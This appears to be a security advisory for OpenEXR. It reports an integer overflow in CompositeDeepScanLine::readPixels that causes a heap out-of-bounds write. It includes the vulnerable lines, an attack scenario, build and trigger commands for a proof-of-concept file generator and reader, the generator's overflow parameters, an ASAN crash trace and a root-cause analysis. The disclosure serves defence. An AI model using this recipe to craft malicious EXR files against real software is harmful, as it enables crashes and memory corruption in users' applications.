OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write

Summary

Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).

Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp):

• total_sizes[ptr] += counts[j][ptr]; (line ~511)
• overall_sample_count += total_sizes[ptr]; (line ~514)
• samples[channel].resize (overall_sample_count); (line ~535)

Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in generic_unpack_deep_pointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).

Attack scenario:

• Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.
• Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.
• The overflow happens in composite sample accounting (unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.

Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0

Steps to reproduce

composite_deepscanline_poc_bundle.patch

PoC files used:

• Writer/generator: poc/composite_deep_scanline_e2e_compressed_poc.cpp
• Minimal high-level reader harness: poc/simple_exr_reader.cpp

The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.

Build with ASAN/UBSAN:

cmake -S . -B build-asan \
  -DOPENEXR_BUILD_POC=ON \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'

cmake --build build-asan --target composite_writer simple_exr_reader -j

Generate malicious file (decode-path focused profile):

ASAN_OPTIONS=detect_leaks=0 timeout 180s \
  ./build-asan/poc/composite_writer \
  --profile low-ram \
  --file /tmp/composite_decode_focus.exr

Trigger:

ASAN_OPTIONS=detect_leaks=0 timeout 30s \
  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr

ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.

Example runs

Writer (abbrev):

❯ ./build-asan/poc/composite_writer
exploit math:
  benign samples                 : 300
  malicious parts                : 86
  malicious samples per part     : 50000000
  true total samples             : 4300000300
  uint32 overflow reached        : yes
  wrapped uint32 total           : 5033004
  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)
  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
  min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)

Reader ASAN crash:

❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
    #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816
    #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568
    #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576
    #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)
allocated by thread T0 here:
    #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
    #1 0x7ed1dbc29600 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
    #2 0x7ed1dbc29600 in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
    #3 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
    #4 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378
    #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663
    #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016
    #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535
    #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers
Shadow bytes around the buggy address:
  0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==175024==ABORTING

Root cause analysis

In CompositeDeepScanLine::readPixels:

1. Per-pixel totals are accumulated in vector<unsigned int> total_sizes.
2. For attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.
3. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count).
4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer.

Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.

Impact

Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.